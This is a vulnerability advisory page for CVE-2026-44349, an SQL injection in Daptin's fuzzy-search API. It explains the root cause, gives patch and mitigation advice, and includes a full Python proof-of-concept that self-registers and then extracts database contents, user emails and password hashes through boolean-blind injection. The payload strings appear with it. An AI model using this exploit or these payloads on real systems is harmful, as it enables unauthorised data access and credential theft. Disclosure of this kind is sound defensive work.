Daptin CVE-2026-44349
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable API with trivially obtained self-signup account gives PR:L and AC:L; impact is full database read (C:H) with no write or availability effect (I:N/A:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user - including one who self-registered with no admin involvement - can read the entire database.
---
Details
At resource_findallpaginated.go:1761, when the operator is fuzzy, fuzzy_any, or fuzzy_all, execution routes to processFuzzySearch (line 1763) before processQueryFilter (line 1780). processQueryFilter is the only path that calls GetColumnByName (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.
Inside processFuzzySearch (line 1484), filterQuery.ColumnName is split by comma. After strings.TrimSpace (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the fuzzy_options.fallback_mode field.
SQLite (processFuzzySearchSQLite, lines 1632-1676) uses goqu.L in all code paths - no fallback_mode required:
goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...)- line 1650/1657
PostgreSQL, MySQL, MSSQL default to goqu.Ex (identifier-quoted, not injectable). The goqu.L sink is only reached when the attacker supplies a specific fuzzy_options.fallback_mode value in the HTTP query JSON:
- PostgreSQL
word_boundarymode (line 1540):goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...) - MySQL
soundexmode (line 1598):goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...) - MSSQL
soundexmode (line 1694):goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)
fuzzy_options is deserialized from the HTTP request at line 243 (json.Unmarshal([]byte(query[0]), &queries)) - it is fully attacker-controlled.
goqu.L emits its first argument as a raw SQL literal. The column position uses %s string formatting, not a bound parameter.
prefix is fixed at line 351 as dbResource.model.GetName() + "." - for /api/world this is "world.". Against SQLite, an attacker-supplied column value of reference_id) OR 1=1 OR LOWER(world.reference_id expands in the WHERE clause to LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?. Against PostgreSQL (where reference_id is stored as bytea), the ~* regex operator requires a text-type column; the attack targets a varchar column instead (e.g., table_name) with an adapted injection template.
Relation to GHSA-rw2c-8rfq-gwfv: That patch modified resource_aggregate.go to fix /aggregate/:typename. This vulnerability is in resource_findallpaginated.go on the /api/<entity> fuzzy path - different file, different endpoint, different operator. The existing patch does not cover this path.
Tested: SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL word_boundary injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=guest@cms.go extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.
Fix: Add a GetColumnByName whitelist check in processFuzzySearch (line 1484) before the comma-split, matching the pattern in processQueryFilter:1351. All four DB driver sinks require fixing.
---
PoC
Environment:
git clone https://github.com/daptin/daptin
cd daptin
git checkout 5d3214244890989eceefa694bfc976ef11458721
go build -o daptin-server .
./daptin-server
# listens on :6336, SQLite backend by defaultpoc.py (Python 3, no dependencies):
import json, urllib.request, urllib.parse
BASE = "http://localhost:6336"
def post(path, body):
req = urllib.request.Request(BASE + path, json.dumps(body).encode(),
{"Content-Type": "application/json"})
try:
return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
except urllib.request.HTTPError as e:
return json.loads(e.read(50_000))
def token():
post("/action/user_account/signup", {"attributes": {
"name": "poc", "email": "poc@test.com",
"password": "adminadmin", "passwordConfirm": "adminadmin"}})
body = post("/action/user_account/signin", {"attributes": {
"email": "poc@test.com", "password": "adminadmin"}})
return next(i["Attributes"]["value"] for i in body
if i.get("ResponseType") == "client.store.set")
def rows(col, jwt):
q = urllib.parse.urlencode({"query": json.dumps(
[{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
headers={"Authorization": "Bearer " + jwt})
d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
return len(d.get("data", []))
def oracle(expr, jwt):
col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
return rows(col, jwt) > 0
def extract_int(sql, jwt, hi=200):
lo = 0
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle(f"({sql}) >= {mid}", jwt): lo = mid
else: hi = mid - 1
return lo
def extract_str(sql, jwt, maxlen=80):
n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen)
s = ""
for _ in range(n):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
pfx = s.replace("'", "''")
expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})"
if oracle(expr, jwt): lo = mid + 1
else: hi = mid
s += chr(lo)
return s
jwt = token()
print("baseline :", rows("reference_id", jwt), "rows")
print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows")
jwt = token()
print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80))
print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt))
pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40)
print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace"))Output (measured on commit 5d32142, SQLite, macOS arm64):
baseline : 0 rows
tautology: 5 rows
sqlite_master table count: 57
email (row 1): guest@cms.go
pw hash prefix: $2a$11$W7vO9oOPzpf7u---
Impact
Attacker precondition: One valid JWT. Self-signup is enabled by default on a fresh daptin instance - no admin involvement required.
What is impacted: The full database is readable via boolean-blind extraction, including all tables visible in sqlite_master and credential data (emails, bcrypt password hashes) in user_account. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.
AnalysisAI
SQL injection in Daptin's fuzzy-search API (versions <= 0.11.4) allows any authenticated user to read the entire backend database via boolean-blind extraction. The GET /api/<entity> endpoint with operator=fuzzy passes the user-supplied column parameter into raw SQL through goqu.L without schema validation, bypassing the GetColumnByName whitelist used on other query paths. Publicly available exploit code exists (SSVC lists Exploitation: poc) and the vulnerability is CWE-89; a full working PoC extracted user emails and bcrypt hashes on SQLite, though EPSS remains low at 0.05%.
Technical ContextAI
Daptin is an open-source, Go-based headless CMS and backend-as-a-service that auto-generates REST/JSON:API endpoints over a relational database, supporting SQLite (default), PostgreSQL, MySQL, and MSSQL via the goqu query builder. The root cause (CWE-89, SQL Injection) is in processFuzzySearch (server/resource/resource_findallpaginated.go:1484), which splits the client-controlled column parameter by comma and interpolates each segment into fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col) wrapped in goqu.L. goqu.L emits its first argument as a raw SQL literal, so the %s column position is never bound or identifier-quoted. The safe path, processQueryFilter, calls GetColumnByName (line 1351) to validate column names against the table schema, but the fuzzy operator routes to processFuzzySearch (line 1763) before that check at line 1780, so the whitelist is never applied. Attacker control extends to fuzzy_options.fallback_mode, deserialized from the request JSON at line 243, which selects the driver-specific sink.
RemediationAI
Vendor-released patch: upgrade to Daptin 0.11.5 or later, which adds a GetColumnByName whitelist check in processFuzzySearch to validate all column names against the table schema before they reach any DB-specific handler (fixing SQLite, PostgreSQL, MySQL, and MSSQL sinks); see https://github.com/daptin/daptin/releases/tag/v0.11.5 and the advisory at https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r. If immediate patching is not possible, the most effective compensating control is to disable open self-signup so an attacker cannot mint their own JWT (trade-off: breaks legitimate self-registration workflows and requires admin-provisioned accounts), and to restrict network access to the /api/<entity> endpoints to trusted clients via a reverse proxy or WAF rule that blocks query parameters containing fuzzy operators or comma-separated column values (trade-off: may break legitimate fuzzy-search usage). Monitoring database query logs for anomalous LOWER()/SOUNDEX()/regex predicates on the world and user_account tables can provide detection while the patch is rolled out.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-89 – SQL Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-pwqg-q8pg-pp6r